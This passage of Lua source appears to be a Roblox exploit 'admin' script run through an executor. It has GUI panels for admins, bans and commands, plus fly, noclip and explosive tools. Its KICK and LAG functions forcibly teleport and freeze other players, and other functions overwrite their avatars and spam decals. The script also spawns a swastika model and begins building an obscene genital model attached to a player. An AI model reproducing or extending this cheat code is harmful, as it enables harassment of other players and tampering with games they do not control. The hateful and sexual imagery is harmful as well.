- NEW'TextLabel'{Name = v, BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, Y_ADMINS), Size = UDim2.new(1, -30, 0, 25), Font = 'SourceSansBold', TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.admins}
- NEW'TextButton'{Name = 'update', BackgroundColor3 = C3(255, 50, 50), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(1, 0, 0, 0), Size = UDim2.new(0, 25, 0, 25), Text = '', Parent = HOLDERS.admins[v]}
- HOLDERS.admins[v].update.MouseButton1Down:connect(function()
- table.remove(ADMINS, i)
- UPDATE_ADMINS()
- end)
- HOLDERS.admins.CanvasSize = HOLDERS.admins.CanvasSize + UDim2.new(0, 0, 0, 30)
- Y_ADMINS = Y_ADMINS + 30
- end
- HOLDERS.admins.CanvasSize = HOLDERS.admins.CanvasSize + UDim2.new(0, 0, 0, 5)
- spawn(function()
- for i,v in pairs(HOLDERS.admins:GetChildren()) do
- v.Text = ' ' .. ElypsePlayers:GetNameFromUserIdAsync(v.Name)
- end
- end)
- end
- UPDATE_ADMINS()
- function UPDATE_BANS()
- HOLDERS.bans:ClearAllChildren()
- HOLDERS.bans.CanvasSize = UDim2.new(0, 0, 0, 0)
- local Y_BANS = 5
- for i,v in pairs(BANS) do
- NEW'TextLabel'{Name = v, BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, Y_BANS), Size = UDim2.new(1, -30, 0, 25), Font = 'SourceSansBold', Text = '', TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.bans}
- NEW'TextButton'{Name = 'update', BackgroundColor3 = C3(255, 50, 50), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(1, 0, 0, 0), Size = UDim2.new(0, 25, 0, 25), Text = '', Parent = HOLDERS.bans[v]}
- HOLDERS.bans[v].update.MouseButton1Down:connect(function()
- table.remove(BANS, i)
- UPDATE_BANS()
- end)
- HOLDERS.bans.CanvasSize = HOLDERS.bans.CanvasSize + UDim2.new(0, 0, 0, 30)
- Y_BANS = Y_BANS + 30
- end
- HOLDERS.bans.CanvasSize = HOLDERS.bans.CanvasSize + UDim2.new(0, 0, 0, 5)
- spawn(function()
- for i,v in pairs(HOLDERS.bans:GetChildren()) do
- v.Text = ' ' .. ElypsePlayers:GetNameFromUserIdAsync(v.Name)
- end
- end)
- end
- UPDATE_BANS()
- local function DISPLAY_CMDS()
- local Y_COMMANDS = 0
- for i,v in pairs(COMMANDS) do
- NEW'TextLabel'{Name = '', BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, Y_COMMANDS), Size = UDim2.new(1, 0, 0, 25), Font = 'SourceSansBold', Text = ' ' .. v.D, TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.cmds}
- HOLDERS.cmds.CanvasSize = HOLDERS.cmds.CanvasSize + UDim2.new(0, 0, 0, 25)
- Y_COMMANDS = Y_COMMANDS + 25
- end
- end
- DISPLAY_CMDS()
- HOLDERS.search.Changed:connect(function()
- if SETH_MAIN:FindFirstChild('main') and SETH_MAIN.main.holder.holders:FindFirstChild('search') then
- if HOLDERS.search.Text ~= 'search commands' and HOLDERS.search.Focused then
- if HOLDERS.search.Text ~= '' then
- if not HOLDERS.search.Text:find(' ') then
- HOLDERS.cmds:ClearAllChildren()
- HOLDERS.cmds.CanvasSize = UDim2.new(0, 0, 0, 0)
- local Y_COMMANDS = 0
- for i,v in pairs(COMMANDS) do
- if v.N:find(HOLDERS.search.Text) then
- HOLDERS.cmds.CanvasSize = HOLDERS.cmds.CanvasSize + UDim2.new(0, 0, 0, 25)
- NEW'TextLabel'{Name = '', BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, Y_COMMANDS), Size = UDim2.new(1, 0, 0, 25), Font = 'SourceSansBold', Text = ' ' .. v.D, TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.cmds}
- HOLDERS.changelog.CanvasSize = HOLDERS.changelog.CanvasSize + UDim2.new(0, 0, 0, 25)
- Y_COMMANDS = Y_COMMANDS + 25
- end
- end
- end
- else
- HOLDERS.cmds:ClearAllChildren()
- HOLDERS.cmds.CanvasSize = UDim2.new(0, 0, 0, 0)
- DISPLAY_CMDS()
- end
- end
- end
- end)
- local FUN = {'balefire', 'swastika', 'trowel', 'path giver', 'orbital strike'}
- local Y_FUN = 5
- for i,v in pairs(FUN) do
- NEW'TextLabel'{Name = v, BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, Y_FUN), Size = UDim2.new(1, -50, 0, 25), Font = 'SourceSansBold', Text = ' ' .. v, TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.fun}
- HOLDERS.fun.CanvasSize = HOLDERS.fun.CanvasSize + UDim2.new(0, 0, 0, 30)
- Y_FUN = Y_FUN + 30
- end
- HOLDERS.fun.CanvasSize = HOLDERS.fun.CanvasSize + UDim2.new(0, 0, 0, 5)
- for i,v in pairs(HOLDERS.fun:GetChildren()) do
- NEW'TextButton'{Name = 'load', BackgroundColor3 = C3(50, 50, 255), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(1, 0, 0, 0), Size = UDim2.new(0, 45, 0, 25), ClipsDescendants = true, Font = 'SourceSansBold', Text = 'load', TextColor3 = C3(255, 255, 255), TextSize = 20, Parent = v}
- v.load.MouseButton1Down:connect(function()
- if v.Name == 'balefire' then LOAD_BALEFIRE()
- elseif v.Name == 'swastika' then local S = OTHER.swastika:Clone() S.Parent = ElypseWorkspace S:MoveTo(LP.Character.Head.Position + Vector3.new(0, 10, 0))
- elseif v.Name == 'trowel' then LOAD_TROWEL()
- elseif v.Name == 'path giver' then LOAD_PATH()
- elseif v.Name == 'orbital strike' then LOAD_STRIKE()
- end
- end)
- end
- SETH_MAIN.main.close.MouseButton1Down:connect(function()
- SETH_MAIN:destroy()
- end)
- SETH_MAIN.Parent = ElypseCoreGui
- end
- LOAD_DATA()
- --/ TOOLS
- function LOAD_BALEFIRE()
- local HB = Instance.new('HopperBin', LP.Backpack)
- HB.Name = 'balefire'
- local function BF(P)
- for i = 1, 50 do
- local E = Instance.new('Explosion', ElypseWorkspace)
- E.BlastRadius = 3
- E.BlastPressure = 999999
- E.Position = LP.Character.Torso.CFrame.p + ((P - LP.Character.Torso.CFrame.p).unit * 6 * i) + ((P - LP.Character.Torso.CFrame.p).unit * 7)
- end
- end
- FIRED = false
- local function FIRE(M)
- if not FIRED then
- FIRED = true
- BF(M.Hit.p)
- wait(0.25)
- FIRED = false
- end
- end
- HB.Selected:connect(function(M)
- M.Button1Down:connect(function()
- FIRE(M)
- end)
- end)
- end
- function LOAD_TROWEL()
- local T = Instance.new('Tool', LP.Backpack) T.Name = 'trowel'
- NEW'Part'{Name = 'Handle', Size = Vector3.new(1, 4.4, 1), Parent = T}
- NEW'SpecialMesh'{MeshId = 'rbxasset://fonts/trowel.mesh', MeshType = 'FileMesh', TextureId = 'rbxasset://textures/TrowelTexture.png', Parent = T.Handle}
- NEW'Sound'{Name = 'build', SoundId = 'rbxasset://sounds//bass.wav', Volume = 1, Parent = T.Handle}
- local HEIGHT = 5
- local SPEED = 0.05
- local WIDTH = 15
- function BRICK(CF, P, C)
- local B = Instance.new('Part')
- B.BrickColor = C
- B.CFrame = CF * CFrame.new(P + B.Size / 2)
- B.Parent = game.Workspace
- B:MakeJoints()
- B.Material = 'Neon'
- return B, P + B.Size
- end
- function BW(CF)
- local BC = BrickColor.Random()
- local B = {}
- assert(WIDTH > 0)
- local Y = 0
- while Y < HEIGHT do
- local P
- local X = -WIDTH / 2
- while X < WIDTH / 2 do
- local brick
- brick, P = BRICK(CF, Vector3.new(X, Y, 0), BC)
- X = P.x
- table.insert(B, brick)
- wait(SPEED)
- end
- Y = P.y
- end
- return B
- end
- function S(A)
- if math.abs(A.x) > math.abs(A.z) then
- if A.x > 0 then
- return Vector3.new(1, 0, 0)
- else
- return Vector3.new(-1, 0, 0)
- end
- else
- if A.z > 0 then
- return Vector3.new(0, 0, 1)
- else
- return Vector3.new(0, 0, -1)
- end
- end
- end
- T.Enabled = true
- T.Activated:connect(function()
- if T.Enabled and LP.Character:FindFirstChild('Humanoid') then
- T.Enabled = false
- T.Handle.build:Play()
- BW(CFrame.new(LP.Character.Humanoid.TargetPoint, LP.Character.Humanoid.TargetPoint + S((LP.Character.Humanoid.TargetPoint - LP.Character.Head.Position).unit)))
- T.Enabled = true
- end
- end)
- end
- function LOAD_PATH()
- local HB = Instance.new('HopperBin', LP.Backpack) HB.Name = 'path giver'
- local function PATH(M, C)
- if ENABLED and LP.Character then
- if not ElypseWorkspace:FindFirstChild('paths_seth') then Instance.new('Folder', ElypseWorkspace).Name = 'paths_seth' end
- local hit = M.Target
- local point = M.Hit.p
- local P = Instance.new('Part', ElypseWorkspace.paths_seth)
- P.BrickColor = C
- P.Material = 'Neon'
- P.Transparency = 0.75
- P.Anchored = true
- P.Size = Vector3.new(20, 1, 20)
- P.Velocity = M.Hit.lookVector * 75
- P.BottomSurface = 'Smooth'
- P.TopSurface = 'Smooth'
- P.CFrame = CFrame.new(LP.Character.Head.Position)
- P.CFrame = CFrame.new(LP.Character.Torso.Position.x, LP.Character.Torso.Position.y - 4, LP.Character.Torso.Position.z)
- P.CFrame = CFrame.new(P.Position, point)
- wait()
- PATH(M, C)
- end
- end
- local function SELECTED(M)
- M.Button1Down:connect(function() ENABLED = true PATH(M, BrickColor.Random()) end)
- M.Button1Up:connect(function() ENABLED = false end)
- M.KeyDown:connect(function(K) if K == 'r' then if ElypseWorkspace:FindFirstChild('paths_seth') then ElypseWorkspace.paths_seth:destroy() end end end)
- end
- HB.Selected:connect(SELECTED)
- end
- function LOAD_STRIKE()
- local HB = Instance.new('HopperBin', LP.Backpack) HB.Name = 'orbital strike'
- local function SHOOT(T)
- if ENABLED then
- local P0 = CFrame.new(0, 1500, 0)
- P0 = P0 + ((P0 * CFrame.fromEulerAnglesXYZ(math.pi / 2, 0, 0)).lookVector * 0.5) + (P0 * CFrame.fromEulerAnglesXYZ(0, math.pi / 2, 0)).lookVector
- local P1 = P0 + ((P0.p - T.Hit.p).unit * -2)
- SATELITE.CFrame = CFrame.new((P0.p + P1.p) / 2, P0.p) * CFrame.fromEulerAnglesXYZ(-math.pi / 2, 0, 0)
- local M = Instance.new('Model', ElypseWorkspace)
- NEW'Part'{BrickColor = BrickColor.new('Pink'), Material = 'Neon', CFrame = CFrame.new((SATELITE.CFrame.p + T.Hit.p) / 2, SATELITE.CFrame.p), Anchored = true, CanCollide = false, Size = Vector3.new(1, 1, 1), Parent = M}
- NEW'BlockMesh'{Scale = Vector3.new(1, 1, (SATELITE.CFrame.p - T.Hit.p).magnitude), Parent = M.Part}
- NEW'Explosion'{Position = T.Hit.p, BlastRadius = 20, Parent = ElypseWorkspace}
- for i = 1,10 do M.Part.Transparency = 0.5 + (i * 0.05) wait(0.05) end
- M:destroy()
- end
- end
- HB.Selected:connect(function(M)
- if not ElypseWorkspace:FindFirstChild('orbital_seth') then
- SATELITE = Instance.new('Part', ElypseWorkspace)
- SATELITE.Name = 'orbital_seth'
- SATELITE.Position = Vector3.new(0, 1500, 0)
- SATELITE.Anchored = true
- SATELITE.CanCollide = false
- SATELITE.Size = Vector3.new(5, 16.8, 5)
- NEW'SpecialMesh'{MeshId = 'rbxassetid://1064328', Scale = Vector3.new(0.2, 0.2, 0.2), Parent = SATELITE}
- end
- M.Button1Down:connect(function() ENABLED = true SHOOT(M) end)
- M.Button1Up:connect(function() ENABLED = false end)
- end)
- end
- function FIND_IN_TABLE(TABLE, NAME)
- for i,v in pairs(TABLE) do
- if v == NAME then
- return true
- end
- end
- return false
- end
- function GET_IN_TABLE(TABLE, NAME)
- for i = 1, #TABLE do
- if TABLE[i] == NAME then
- return i
- end
- end
- return false
- end
- local NOCLIP, JESUSFLY, SWIM = false, false, false
- game:GetService('RunService').Stepped:connect(function()
- if NOCLIP then
- if LP.Character:FindFirstChild('Humanoid') then LP.Character.Humanoid:ChangeState(11) end
- elseif JESUSFLY then
- if LP.Character:FindFirstChild('Humanoid') then LP.Character.Humanoid:ChangeState(12) end
- elseif SWIM then
- if LP.Character:FindFirstChild('Humanoid') then LP.Character.Humanoid:ChangeState(4) end
- end
- for i,v in pairs(ElypsePlayers:GetPlayers()) do if FIND_IN_TABLE(KICKS, v) then KICK(v) end end
- end)
- local NOTIFY_1 = false
- local NOTIFY_2 = false
- function NOTIFY(M, R, G, B)
- spawn(function()
- repeat wait() until not NOTIFY_1
- local NOTIFY_SETH = GUIS.notify_seth:Clone() NOTIFY_SETH.Parent = ElypseCoreGui
- if NOTIFY_SETH then
- NOTIFY_SETH.notify[''].BackgroundColor3 = C3(R, G, B)
- NOTIFY_SETH.notify.text.Text = ' ' .. M
- repeat wait() until not NOTIFY_1
- NOTIFY_1 = true
- wait(0.5)
- NOTIFY_SETH.notify:TweenPosition(UDim2.new(0, 0, 0.6, 0), 'InOut', 'Quad', 0.4, false) wait(0.5)
- wait(0.5)
- repeat wait() until not NOTIFY_2
- NOTIFY_1 = false
- NOTIFY_SETH.notify:TweenPosition(UDim2.new(0, 0, 0.6, -40), 'InOut', 'Quad', 0.4, false) wait(0.5)
- wait(0.5)
- NOTIFY_2 = true
- wait(2.5)
- NOTIFY_SETH.notify:TweenPosition(UDim2.new(0, -225, 0.6, -40), 'InOut', 'Quad', 0.4, false) wait(0.5)
- end
- wait(1)
- NOTIFY_SETH:destroy()
- NOTIFY_2 = false
- end)
- end
- function KICK(P)
- spawn(function()
- for i = 1,5 do
- if P.Character and P.Character:FindFirstChild('HumanoidRootPart') and P.Character:FindFirstChild('Torso') then
- P.Character.HumanoidRootPart.CFrame = CFrame.new(math.random(999000, 1001000), 1000000, 1000000)
- local SP = Instance.new('SkateboardPlatform', P.Character) SP.Position = P.Character.HumanoidRootPart.Position SP.Transparency = 1
- spawn(function()
- repeat wait()
- if P.Character and P.Character:FindFirstChild('HumanoidRootPart') then SP.Position = P.Character.HumanoidRootPart.Position end
- until not ElypsePlayers:FindFirstChild(P.Name)
- end)
- P.Character.Torso.Anchored = true
- end
- end
- end)
- end
- ElypsePlayers.PlayerRemoving:connect(function(P)
- if FIND_IN_TABLE(KICKS, P) then
- for i,v in pairs(KICKS) do if v == P then table.remove(KICKS, i) end end
- NOTIFY('KICKED ' .. P.Name, 255, 255, 255)
- end
- if FIND_IN_TABLE(JAILED, P.Name) then
- for i,v in pairs(JAILED) do if v == P.Name then table.remove(KICKS, i) end end
- end
- end)
- function FIX_LIGHTING()
- ElypseLighting.Ambient = C3(0.5, 0.5, 0.5)
- ElypseLighting.Brightness = 1
- ElypseLighting.GlobalShadows = true
- ElypseLighting.Outlines = false
- ElypseLighting.TimeOfDay = 14
- ElypseLighting.FogEnd = 100000
- end
- function COLOR(PLAYER, BCOLOR)
- for i,v in pairs(PLAYER.Character:GetChildren()) do if v:IsA('Shirt') or v:IsA('Pants') then v:destroy() elseif v:IsA('ShirtGraphic') then v.Archivable = false v.Graphic = '' end end
- for i,v in pairs(PLAYER.Character.Head:GetChildren()) do if v:IsA('Decal') then v:destroy() end end
- for i,v in pairs(PLAYER.Character:GetChildren()) do
- if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
- v.BrickColor = BrickColor.new(BCOLOR)
- elseif v:IsA('Accessory') then
- v.Handle.BrickColor = BrickColor.new(BCOLOR)
- for a,b in pairs(v.Handle:GetChildren()) do
- if b:IsA('SpecialMesh') then
- b.TextureId = ''
- end
- end
- end
- end
- end
- function LAG(PLAYER)
- local POS = CFrame.new(math.random(-100000, 100000), math.random(-100000, 100000), math.random(-100000, 100000))
- spawn(function()
- repeat wait()
- if PLAYER and PLAYER.Character then
- PLAYER.CameraMode = 'LockFirstPerson'
- PLAYER.Character.HumanoidRootPart.CFrame = POS
- PLAYER.Character.Torso.Anchored = true
- Instance.new('ForceField', PLAYER.Character)
- Instance.new('Smoke', PLAYER.Character.Head)
- end
- until not ElypsePlayers:FindFirstChild(PLAYER.Name)
- end)
- end
- local FLYING = false
- if LP.Character and LP.Character:FindFirstChild('Humanoid') then
- LP.Character.Humanoid.Died:connect(function() FLYING = false end)
- end
- function sFLY()
- repeat wait() until LP and LP.Character and LP.Character:FindFirstChild('Torso') and LP.Character:FindFirstChild('Humanoid')
- repeat wait() until MOUSE
- local T = LP.Character.Torso
- local CONTROL = {F = 0, B = 0, L = 0, R = 0}
- local lCONTROL = {F = 0, B = 0, L = 0, R = 0}
- local SPEED = 0
- local function FLY()
- FLYING = true
- local BG = Instance.new('BodyGyro', T)
- local BV = Instance.new('BodyVelocity', T)
- BG.P = 9e4
- BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
- BG.cframe = T.CFrame
- BV.velocity = Vector3.new(0, 0.1, 0)
- BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
- spawn(function()
- repeat wait()
- LP.Character.Humanoid.PlatformStand = true
- if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 then
- SPEED = 50
- elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0) and SPEED ~= 0 then
- SPEED = 0
- end
- if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 then
- BV.velocity = ((ElypseWorkspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) + ((ElypseWorkspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B) * 0.2, 0).p) - ElypseWorkspace.CurrentCamera.CoordinateFrame.p)) * SPEED
- lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
- elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and SPEED ~= 0 then
- BV.velocity = ((ElypseWorkspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) + ((ElypseWorkspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B) * 0.2, 0).p) - ElypseWorkspace.CurrentCamera.CoordinateFrame.p)) * SPEED
- else
- BV.velocity = Vector3.new(0, 0.1, 0)
- end
- BG.cframe = ElypseWorkspace.CurrentCamera.CoordinateFrame
- until not FLYING
- CONTROL = {F = 0, B = 0, L = 0, R = 0}
- lCONTROL = {F = 0, B = 0, L = 0, R = 0}
- SPEED = 0
- BG:destroy()
- BV:destroy()
- LP.Character.Humanoid.PlatformStand = false
- end)
- end
- MOUSE.KeyDown:connect(function(KEY)
- if KEY:lower() == 'w' then
- CONTROL.F = 1
- elseif KEY:lower() == 's' then
- CONTROL.B = -1
- elseif KEY:lower() == 'a' then
- CONTROL.L = -1
- elseif KEY:lower() == 'd' then
- CONTROL.R = 1
- end
- end)
- MOUSE.KeyUp:connect(function(KEY)
- if KEY:lower() == 'w' then
- CONTROL.F = 0
- elseif KEY:lower() == 's' then
- CONTROL.B = 0
- elseif KEY:lower() == 'a' then
- CONTROL.L = 0
- elseif KEY:lower() == 'd' then
- CONTROL.R = 0
- end
- end)
- FLY()
- end
- function NOFLY()
- FLYING = false
- LP.Character.Humanoid.PlatformStand = false
- end
- function RESET_MODEL(MODEL)
- for i,v in pairs(MODEL:GetChildren()) do
- if v:IsA('Seat') and v.Name == 'FakeTorso' then
- v:destroy()
- elseif v:IsA('CharacterMesh') or v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Accessory') then
- v:destroy()
- elseif v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
- v.Transparency = 0
- elseif v:IsA('ShirtGraphic') then
- v.Archivable = false
- v.Graphic = ''
- end
- end
- for i,v in pairs(MODEL.Torso:GetChildren()) do
- if v:IsA('SpecialMesh') then
- v:destroy()
- end
- end
- if MODEL.Head:FindFirstChild('Mesh') then
- MODEL.Head.Mesh:destroy()
- end
- if MODEL.Torso:FindFirstChild('Neck') then MODEL.Torso.Neck.C0 = CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(90), math.rad(180), 0) end
- if MODEL.Torso:FindFirstChild('Left Shoulder') then MODEL.Torso['Left Shoulder'].C0 = CFrame.new(-1, 0.5, 0) * CFrame.Angles(0, math.rad(-90), 0) end
- if MODEL.Torso:FindFirstChild('Right Shoulder') then MODEL.Torso['Right Shoulder'].C0 = CFrame.new(1, 0.5, 0) * CFrame.Angles(0, math.rad(90), 0) end
- if MODEL.Torso:FindFirstChild('Left Hip') then MODEL.Torso['Left Hip'].C0 = CFrame.new(-1, -1, 0) * CFrame.Angles(0, math.rad(-90), 0) end
- if MODEL.Torso:FindFirstChild('Right Hip') then MODEL.Torso['Right Hip'].C0 = CFrame.new(1, -1, 0) * CFrame.Angles(0, math.rad(90), 0) end
- end
- function UPDATE_MODEL(MODEL, USERNAME)
- local AppModel = ElypsePlayers:GetCharacterAppearanceAsync(ElypsePlayers:GetUserIdFromNameAsync(USERNAME))
- MODEL.Name = USERNAME
- for i,v in pairs(AppModel:GetChildren()) do
- if v:IsA('SpecialMesh') or v:IsA('BlockMesh') or v:IsA('CylinderMesh') then
- v.Parent = MODEL.Head
- elseif v:IsA('Decal') then
- if MODEL.Head:FindFirstChild('face') then
- MODEL.Head.face.Texture = v.Texture
- else
- local FACE = Instance.new('Decal', MODEL.Head)
- FACE.Texture = v.Texture
- end
- elseif v:IsA('BodyColors') or v:IsA('CharacterMesh') or v:IsA('Shirt') or v:IsA('Pants') or v:IsA('ShirtGraphic') then
- if MODEL:FindFirstChild('Body Colors') then
- MODEL['Body Colors']:destroy()
- end
- v.Parent = MODEL
- elseif v:IsA('Accessory') then
- v.Parent = MODEL
- v.Handle.CFrame = MODEL.Head.CFrame * CFrame.new(0, MODEL.Head.Size.Y / 2, 0) * v.AttachmentPoint:inverse()
- end
- end
- if not MODEL.Head:FindFirstChild('Mesh') then
- local SM = Instance.new('SpecialMesh', MODEL.Head)
- SM.MeshType = Enum.MeshType.Head
- SM.Scale = Vector3.new(1.25, 1.25, 1.25)
- end
- end
- function CREEPER(PLAYER)
- for i,v in pairs(PLAYER.Character:GetChildren()) do
- if v:IsA('Shirt') or v:IsA('Pants') then
- v:destroy()
- elseif v:IsA('ShirtGraphic') then
- v.Archivable = false
- v.Graphic = ''
- end
- end
- for i,v in pairs(PLAYER.Character:GetChildren()) do
- if v:IsA('Accessory') then
- v:destroy()
- end
- end
- PLAYER.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
- PLAYER.Character.Torso['Right Shoulder'].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
- PLAYER.Character.Torso['Left Shoulder'].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
- PLAYER.Character.Torso['Right Hip'].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
- PLAYER.Character.Torso['Left Hip'].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
- for i,v in pairs(PLAYER.Character:GetChildren()) do
- if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
- v.BrickColor = BrickColor.new('Bright green')
- end
- end
- end
- function SHREK(PLAYER)
- COLOR(PLAYER, 'Bright green')
- for i,v in pairs(PLAYER.Character:GetChildren()) do
- if v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Accessory') or v:IsA('CharacterMesh') then
- v:destroy()
- elseif v:IsA('ShirtGraphic') then
- v.Archivable = false
- v.Graphic = ''
- end
- end
- for i,v in pairs(PLAYER.Character.Head:GetChildren()) do
- if v:IsA('Decal') or v:IsA('SpecialMesh') then
- v:destroy()
- end
- end
- if PLAYER.Character:FindFirstChild('Shirt Graphic') then
- PLAYER.Character['Shirt Graphic'].Archivable = false
- PLAYER.Character['Shirt Graphic'].Graphic = ''
- end
- local M = Instance.new('SpecialMesh', PLAYER.Character.Head)
- local S = Instance.new('Shirt', PLAYER.Character)
- local P = Instance.new('Pants', PLAYER.Character)
- M.MeshType = 'FileMesh'
- M.MeshId = 'rbxassetid://19999257'
- M.Offset = Vector3.new(-0.1, 0.1, 0)
- M.TextureId = 'rbxassetid://156397869'
- S.ShirtTemplate = 'rbxassetid://133078194'
- P.PantsTemplate = 'rbxassetid://133078204'
- end
- function DUCK(PLAYER)
- for i,v in pairs(PLAYER.Character:GetChildren()) do
- if v:IsA('Part') and v.Name ~= 'Torso' and v.Name ~= 'HumanoidRootPart' then
- v.Transparency = 1
- elseif v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Accessory') then
- v:destroy()
- elseif v:IsA('ShirtGraphic') then
- v.Archivable = false
- v.Graphic = ''
- end
- end
- local DUCK = Instance.new('SpecialMesh', PLAYER.Character.Torso)
- DUCK.MeshType = 'FileMesh'
- DUCK.MeshId = 'rbxassetid://9419831'
- DUCK.TextureId = 'rbxassetid://9419827'
- DUCK.Scale = Vector3.new(5, 5, 5)
- if PLAYER.Character.Head:FindFirstChild('face') then
- PLAYER.Character.Head.face.Transparency = 1
- end
- end
- function DOG(PLAYER)
- for i,v in pairs(PLAYER.Character:GetChildren()) do
- if v:IsA('Shirt') or v:IsA('Pants') then
- v:destroy()
- elseif v:IsA('ShirtGraphic') then
- v.Archivable = false
- v.Graphic = ''
- end
- end
- PLAYER.Character.Torso.Transparency = 1
- PLAYER.Character.Torso.Neck.C0 = CFrame.new(0, -0.5, -2) * CFrame.Angles(math.rad(90), math.rad(180), 0)
- PLAYER.Character.Torso['Right Shoulder'].C0 = CFrame.new(0.5, -1.5, -1.5) * CFrame.Angles(0, math.rad(90), 0)
- PLAYER.Character.Torso['Left Shoulder'].C0 = CFrame.new(-0.5, -1.5, -1.5) * CFrame.Angles(0, math.rad(-90), 0)
- PLAYER.Character.Torso['Right Hip'].C0 = CFrame.new(1.5, -1, 1.5) * CFrame.Angles(0, math.rad(90), 0)
- PLAYER.Character.Torso['Left Hip'].C0 = CFrame.new(-1.5, -1, 1.5) * CFrame.Angles(0, math.rad(-90), 0)
- local FakeTorso = Instance.new('Seat', PLAYER.Character)
- local BF = Instance.new('BodyForce', FakeTorso)
- local W = Instance.new('Weld', PLAYER.Character.Torso)
- FakeTorso.Name = 'FakeTorso'
- FakeTorso.TopSurface = 0
- FakeTorso.BottomSurface = 0
- FakeTorso.Size = Vector3.new(3,1,4)
- FakeTorso.BrickColor = BrickColor.new('Brown')
- FakeTorso.CFrame = PLAYER.Character.Torso.CFrame
- BF.Force = Vector3.new(0, FakeTorso:GetMass() * 196.25, 0)
- W.Part0 = PLAYER.Character.Torso
- W.Part1 = FakeTorso
- W.C0 = CFrame.new(0, -0.5, 0)
- for i,v in pairs(PLAYER.Character:GetChildren()) do
- if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
- v.BrickColor = BrickColor.new('Brown')
- end
- end
- end
- function ALIEN(PLAYER)
- for i,v in pairs(PLAYER.Character:GetChildren()) do
- if v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Accessory') then
- v:destroy()
- elseif v:IsA('ShirtGraphic') then
- v.Archivable = false
- v.Graphic = ''
- elseif v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
- v.BrickColor = BrickColor.new('Fossil')
- end
- end
- ALIEN_H:Clone().Parent = PLAYER.Character
- end
- function DECALSPAM(INSTANCE, ID)
- for i,v in pairs(INSTANCE:GetChildren()) do
- if v:IsA('BasePart') then
- spawn(function()
- local FACES = {'Back', 'Bottom', 'Front', 'Left', 'Right', 'Top'}
- local CURRENT_FACE = 1
- for i = 1, 6 do
- local DECAL = Instance.new('Decal', v)
- DECAL.Name = 'decal_seth'
- DECAL.Texture = 'rbxassetid://' .. ID - 1
- DECAL.Face = FACES[CURRENT_FACE]
- CURRENT_FACE = CURRENT_FACE + 1
- end
- end)
- end
- DECALSPAM(v, ID)
- end
- end
- function UNDECALSPAM(INSTANCE)
- for i,v in pairs(INSTANCE:GetChildren()) do
- if v:IsA('BasePart') then
- for a,b in pairs(v:GetChildren()) do
- if b:IsA('Decal') and b.Name == 'decal_seth' then
- b:destroy()
- end
- end
- end
- UNDECALSPAM(v)
- end
- end
- function CREATE_DONG(PLAYER, DONG_COLOR)
- if PLAYER.Character:FindFirstChild('DONG') then
- PLAYER.Character.DONG:destroy()
- end
- local D = Instance.new('Model', PLAYER.Character)
- D.Name = 'DONG'
- local BG = Instance.new('BodyGyro', PLAYER.Character.Torso)
- local MAIN = Instance.new('Part', PLAYER.Character['DONG'])
- local M1 = Instance.new('CylinderMesh', MAIN)
- local W1 = Instance.new('Weld', PLAYER.Character.Head)
- local P1 = Instance.new('Part', PLAYER.Character['DONG'])
- local M2 = Instance.new('SpecialMesh', P1)
- local W2 = Instance.new('Weld', P1)
- local B1 = Instance.new('Part', PLAYER.Character['DONG'])
- local M3 = Instance.new('SpecialMesh', B1)
- local W3 = Instance.new('Weld', B1)
- local B2 = Instance.new('Part', PLAYER.Character['DONG'])
- local M4 = Instance.new('SpecialMesh', B2)
- local W4 = Instance.new('Weld', B2)
